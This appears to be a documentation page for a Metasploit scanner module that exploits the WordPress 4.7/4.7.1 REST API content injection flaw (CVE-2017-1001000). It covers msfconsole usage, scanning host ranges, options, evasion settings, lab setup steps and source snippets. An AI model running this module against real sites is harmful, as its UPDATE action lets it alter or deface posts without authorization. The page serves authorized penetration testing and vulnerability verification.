WordPress REST API Content Injection - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/http/wordpress_content_injection metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: WordPress REST API Content Injection
Module: auxiliary/scanner/http/wordpress_content_injection
Source code: modules/auxiliary/scanner/http/wordpress_content_injection.rb
Disclosure date: 2017-02-01
Last modification time: 2022-01-23 15:28:32 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2017-1001000
This module exploits a content injection vulnerability in WordPress versions 4.7 and 4.7.1 via type juggling in the REST API.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/http/wordpress_content_injection
msf auxiliary(wordpress_content_injection) > show options
... show and set options ...
msf auxiliary(wordpress_content_injection) > set RHOSTS ip-range
msf auxiliary(wordpress_content_injection) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(wordpress_content_injection) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(wordpress_content_injection) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(wordpress_content_injection) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Feature description:
This adds a module for the WordPress 4.7/4.7.1 content injection vulnerability detailed at https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html.
Verification steps:
- [ ] Download https://wordpress.org/wordpress-4.7.1.tar.gz
- [ ]
tar xf wordpress-4.7.1.tar.gz -C /var/www/html --no-same-owner
- [ ] Prevent auto-update with either:
- [ ] Ensure the install dir is not writable by the web user
- [ ] Add the following to
wp_config.php
(after install)define( 'WP_AUTO_UPDATE_CORE', false ); define( 'AUTOMATIC_UPDATER_DISABLED', true );
- [ ] Install Wordpress
- [ ] Start
msfconsole
- [ ]
use auxiliary/scanner/http/wordpress_content_injection
- [ ] Set
rhost
,rport
andTARGETURI
- [ ] Set
ACTION
to eitherLIST
orUPDATE
- [ ] Set
POST_ID
andPOST_TITLE
,POST_CONTENT
, and/orPOST_PASSWORD
- [ ] Run the module
Sample run:
This is just the LIST
action...
msf auxiliary(wordpress_content_injection) > run
[*] REST API found in HTML document
Posts at https://[redacted]:443/ (REST API: /wp-json/wp/v2)
============================================================
ID Title URL Password
-- ----- --- --------
1 Hello world! https://[redacted]/2016/10/hello-world/ No
87 Hello world! https://[redacted]/2016/08/hello-world-2/ No
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(wordpress_content_injection) >
Go back to menu.
Msfconsole Usage
Here is how the scanner/http/wordpress_content_injection auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/http/wordpress_content_injection
msf6 auxiliary(scanner/http/wordpress_content_injection) > show info
Name: WordPress REST API Content Injection
Module: auxiliary/scanner/http/wordpress_content_injection
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2017-02-01
Provided by:
Marc Montpas
wvu <[email protected]>
Available actions:
Name Description
---- -----------
LIST List posts
UPDATE Update post
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
POST_CONTENT no Post content
POST_ID 0 no Post ID (0 for all)
POST_PASSWORD no Post password ('' for none)
POST_TITLE no Post title
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Description:
This module exploits a content injection vulnerability in WordPress
versions 4.7 and 4.7.1 via type juggling in the REST API.
References:
https://nvd.nist.gov/vuln/detail/CVE-2017-1001000
https://wpscan.com/vulnerability/8734
https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html
https://secure.php.net/manual/en/language.types.type-juggling.php
https://developer.wordpress.org/rest-api/using-the-rest-api/discovery/
https://developer.wordpress.org/rest-api/reference/posts/
Module Options
This is a complete list of options available in the scanner/http/wordpress_content_injection auxiliary module:
msf6 auxiliary(scanner/http/wordpress_content_injection) > show options
Module options (auxiliary/scanner/http/wordpress_content_injection):
Name Current Setting Required Description
---- --------------- -------- -----------
POST_CONTENT no Post content
POST_ID 0 no Post ID (0 for all)
POST_PASSWORD no Post password ('' for none)
POST_TITLE no Post title
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Auxiliary action:
Name Description
---- -----------
LIST List posts
Advanced Options
Here is a complete list of advanced options supported by the scanner/http/wordpress_content_injection auxiliary module:
msf6 auxiliary(scanner/http/wordpress_content_injection) > show advanced
Module advanced options (auxiliary/scanner/http/wordpress_content_injection):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
PostCount 100 no Number of posts to list
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SearchTerm no Search term when listing posts
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WPCHECK true yes Check if the website is a valid WordPress install
WPCONTENTDIR wp-content yes The name of the wp-content directory
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/http/wordpress_content_injection module can do:
msf6 auxiliary(scanner/http/wordpress_content_injection) > show actions
Auxiliary actions:
Name Description
---- -----------
LIST List posts
UPDATE Update post
Evasion Options
Here is the full list of possible evasion options supported by the scanner/http/wordpress_content_injection auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/http/wordpress_content_injection) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
WordPress not detected at <FULL_URI>
Here is a relevant code snippet related to the "WordPress not detected at <FULL_URI>" error message:
64: end
65: end
66:
67: def run_host(_ip)
68: if !wordpress_and_online?
69: print_error("WordPress not detected at #{full_uri}")
70: return
71: end
72:
73: case action.name
74: when 'LIST'
No posts found at <FULL_URI>
Here is a relevant code snippet related to the "No posts found at <FULL_URI>" error message:
80:
81: def do_list
82: posts_to_list = list_posts
83:
84: if posts_to_list.empty?
85: print_status("No posts found at #{full_uri}")
86: return
87: end
88:
89: tbl = Rex::Text::Table.new(
90: 'Header' => "Posts at #{full_uri} (REST API: #{get_rest_api})",
No posts to update at <FULL_URI>
Here is a relevant code snippet related to the "No posts to update at <FULL_URI>" error message:
111: else
112: posts_to_update << {id: datastore['POST_ID']}
113: end
114:
115: if posts_to_update.empty?
116: print_status("No posts to update at #{full_uri}")
117: return
118: end
119:
120: posts_to_update.each do |post|
121: res = update_post(post[:id],
message
Here is a relevant code snippet related to the "message" error message:
126:
127: post_url = full_uri(wordpress_url_post(post[:id]))
128:
129: if res && res.code == 200
130: print_good("SUCCESS: #{post_url} (Post updated)")
131: elsif res && (error = res.get_json_document['message'])
132: print_error("FAILURE: #{post_url} (#{error})")
133: end
134: end
135: end
136:
FAILURE: <POST_URL> (<ERROR>)
Here is a relevant code snippet related to the "FAILURE: <POST_URL> (<ERROR>)" error message:
127: post_url = full_uri(wordpress_url_post(post[:id]))
128:
129: if res && res.code == 200
130: print_good("SUCCESS: #{post_url} (Post updated)")
131: elsif res && (error = res.get_json_document['message'])
132: print_error("FAILURE: #{post_url} (#{error})")
133: end
134: end
135: end
136:
137: def list_posts
message
Here is a relevant code snippet related to the "message" error message:
153: title: post['title']['rendered'],
154: url: post['link'],
155: password: post['content']['protected']
156: }
157: end
158: elsif res && (error = res.get_json_document['message'])
159: vprint_error("Failed to list posts: #{error}")
160: end
161:
162: posts
163: end
Failed to list posts: <ERROR>
Here is a relevant code snippet related to the "Failed to list posts: <ERROR>" error message:
154: url: post['link'],
155: password: post['content']['protected']
156: }
157: end
158: elsif res && (error = res.get_json_document['message'])
159: vprint_error("Failed to list posts: #{error}")
160: end
161:
162: posts
163: end
164:
Go back to menu.
Related Pull Requests
- #14769 Merged Pull Request: Handle nil versions in preparation for rubygems 4
- #11949 Merged Pull Request: wordpress_content_injection: fix CVE number
- #10973 Merged Pull Request: Rework DisclosureDate check in msftidy, including ISO 8601 support
- #10299 Merged Pull Request: Add 88 CVEs to various auxiliary and exploit modules
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #7905 Merged Pull Request: Add WordPress content injection module
References
- CVE-2017-1001000
- WPVDB-8734
- https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html
- https://secure.php.net/manual/en/language.types.type-juggling.php
- https://developer.wordpress.org/rest-api/using-the-rest-api/discovery/
- https://developer.wordpress.org/rest-api/reference/posts/
See Also
Check also the following modules related to this module:
- auxiliary/scanner/http/wordpress_cp_calendar_sqli
- auxiliary/scanner/http/wordpress_ghost_scanner
- auxiliary/scanner/http/wordpress_login_enum
- auxiliary/scanner/http/wordpress_multicall_creds
- auxiliary/scanner/http/wordpress_pingback_access
- auxiliary/scanner/http/wordpress_scanner
- auxiliary/scanner/http/wordpress_xmlrpc_login
- auxiliary/dos/http/wordpress_directory_traversal_dos
- auxiliary/dos/http/wordpress_long_password_dos
- auxiliary/dos/http/wordpress_xmlrpc_dos
- auxiliary/admin/http/wp_symposium_sql_injection
- auxiliary/gather/ie_uxss_injection
- auxiliary/scanner/http/error_sql_injection
- auxiliary/scanner/http/host_header_injection
- auxiliary/scanner/postgres/postgres_dbname_flag_injection
- auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess
- auxiliary/scanner/http/webdav_website_content
- auxiliary/scanner/http/wp_secure_copy_content_protection_sqli
- auxiliary/admin/http/contentkeeper_fileaccess
- auxiliary/gather/joomla_contenthistory_sqli
- auxiliary/gather/vbulletin_getindexablecontent_sqli
- exploit/multi/http/struts2_content_type_ognl
- exploit/multi/http/vbulletin_getindexablecontent
- exploit/osx/rtsp/quicktime_rtsp_content_type
- exploit/unix/http/contentkeeperweb_mimencode
- exploit/unix/webapp/joomla_contenthistory_sqli_rce
- exploit/windows/fileformat/hhw_hhp_contentfile_bof
- exploit/windows/misc/splayer_content_type
Authors
- Marc Montpas
- wvu
Version
This page has been produced using Metasploit Framework version 6.1.33-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.